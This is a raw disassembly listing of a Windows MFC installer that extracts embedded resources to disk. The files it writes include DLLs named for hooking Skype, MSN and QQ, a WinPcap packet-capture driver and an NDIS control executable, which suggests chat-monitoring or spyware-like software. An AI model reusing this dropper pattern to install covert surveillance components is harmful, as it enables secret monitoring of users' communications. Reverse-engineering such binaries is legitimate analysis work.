call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x17
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x18
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb6
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402f89
push 0x10
push 0x413bd0
push 0x413ccc
jmp 0x405add
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402fb4
push 0x10
push 0x413bc8
push 0x413ccc
jmp 0x405add
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405ad1
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403004
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402fe6
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str._netsf_m.inf
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x19
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x1a
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb5
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40309b
push 0x10
push 0x413bb0
push 0x413ccc
jmp 0x405abc
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4030c6
push 0x10
push 0x413ba8
push 0x413ccc
jmp 0x405abc
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405ab0
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403113
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4030f5
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str._netsf.inf
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x1b
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x1c
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4031aa
push 0x10
push 0x413b94
push 0x413ccc
jmp 0x405a9b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4031d5
push 0x10
push 0x413b8c
push 0x413ccc
jmp 0x405a9b
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a8f
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403222
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403204
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str._ndisctrl.exe
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x1d
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x1e
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb3
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4032b9
push 0x10
push 0x413b84
push 0x413ccc
jmp 0x405a7a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4032e4
push 0x10
push 0x413b7c
push 0x413ccc
jmp 0x405a7a
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a6e
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403334
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403316
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
push 1
push 0xdc
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.com1SkypeMM.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xd8
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1MSNMsg.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
lea edx, [esp + 0x10]
push str.com1PrinterHelp.dll
lea eax, [esp + 0x28]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call esi
cmp eax, 0xffffffff
lea ecx, [esp + 0x24]
setne bl
call sub.MFC42.DLL_CString::CString
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
test bl, bl
je 0x403461
xor ebx, ebx
mov ecx, dword [esp + 0x10]
push ebx
push ecx
lea edx, [esp + 0xf4]
push str._scom1PtrHelp_d.dll
push edx
call edi
add esp, 0x10
lea eax, [esp + 0xec]
push eax
call esi
cmp eax, 0xffffffff
je 0x403433
lea ecx, [esp + 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x403433
inc ebx
cmp ebx, 0x3e8
jl 0x4033f1
lea edx, [esp + 0x10]
push str.com1PrinterHelp.dll
lea eax, [esp + 0x28]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea ecx, [esp + 0xec]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
xor ebx, ebx
mov edx, dword [esp + 0x10]
push ebx
push edx
lea eax, [esp + 0x694]
push str._sPtrHelp_d.dll
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x68c]
push ecx
call esi
cmp eax, 0xffffffff
je 0x4034a5
lea edx, [esp + 0x68c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4034a5
inc ebx
cmp ebx, 0x3e8
jl 0x403463
lea eax, [esp + 0x10]
push str.PrinterHelp.dll
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea edx, [esp + 0x68c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
push 1
push 0xda
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1QQFileMon.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xdb
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.com1QQM.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push pe_nt_image_headers32
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.com1Prints.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xef
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.hrjdcachePrintInfo.xml
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0x8b
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.drivers_npf.sys
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0x8c
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.Packet.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0x8d
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.pthreadVC.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0x90
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.WanPacket.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0x91
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.wpcap.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
lea eax, [esp + 0x10]
push str.com1MutiScreen.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x1f
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x20
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40370d
push 0x10
push 0x413a50
push 0x413ccc
jmp 0x405a56
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403738
push 0x10
push 0x413a48
push 0x413ccc
jmp 0x405a56
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a4a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403785
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403767
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.com1USBDLL.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x21
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x22
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40381c
push 0x10
push 0x413a2c
push 0x413ccc
jmp 0x405a32
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403847
push 0x10
push 0x413a24
push 0x413ccc
jmp 0x405a32
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a26
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403894
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403876
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.mslca.mdb
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x23
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x24
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xd3
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40392b
push 0x10
push 0x413a10
push 0x413ccc
jmp 0x405a0e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403956
push 0x10
push 0x413a08
push 0x413ccc
jmp 0x405a0e
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a02
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4039a3
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403985
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.com1hruser.exe
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x25
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x85
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403a30
push 0x10
push 0x413a00
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403a62
push 0x10
push 0x4139f8
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4059ea
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403ab2
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403a94
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1docedcs.dll
lea eax, [esp + 0x28]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x26
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x97
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403b2e
push 0x10
push 0x4139dc
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403b60
push 0x10
push 0x4139d4
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4059d2
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403bad
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403b8f
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1docsafe.dll
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x27
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x98
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403c29
push 0x10
push 0x4139b8
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403c5b
push 0x10
push 0x4139b0
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4059ba
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403ca8
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403c8a
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1docsecbase.dll
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x28
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x99
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403d24
push 0x10
push 0x413990
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403d56
push 0x10
push 0x413988
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4059a2
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403da3
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403d85
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push 0x413984
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push str.gdiplus.dll
lea ecx, [esp + 0x28]
mov bl, 0x29
push eax
push ecx
mov byte [esp + 0x9b0], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2a
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x403eed
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x87
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403e60
push 0x10
push 0x413970
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403e92
push 0x10
push 0x41394c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f5b
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403edf
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403ec1
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.uninst.exe
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2b
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x88
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403f73
push 0x10
push 0x413944
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x41393c
push 0x413910
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403fa5
push 0x10
push 0x413908
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov edx, dword [esp + 0x14]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40598a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x403ff2
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x403fd4
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1qqhook.dll
lea eax, [esp + 0x28]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2c
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x8e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40406e
push 0x10
push 0x4138ec
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4040a0
push 0x10
push 0x4138e4
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
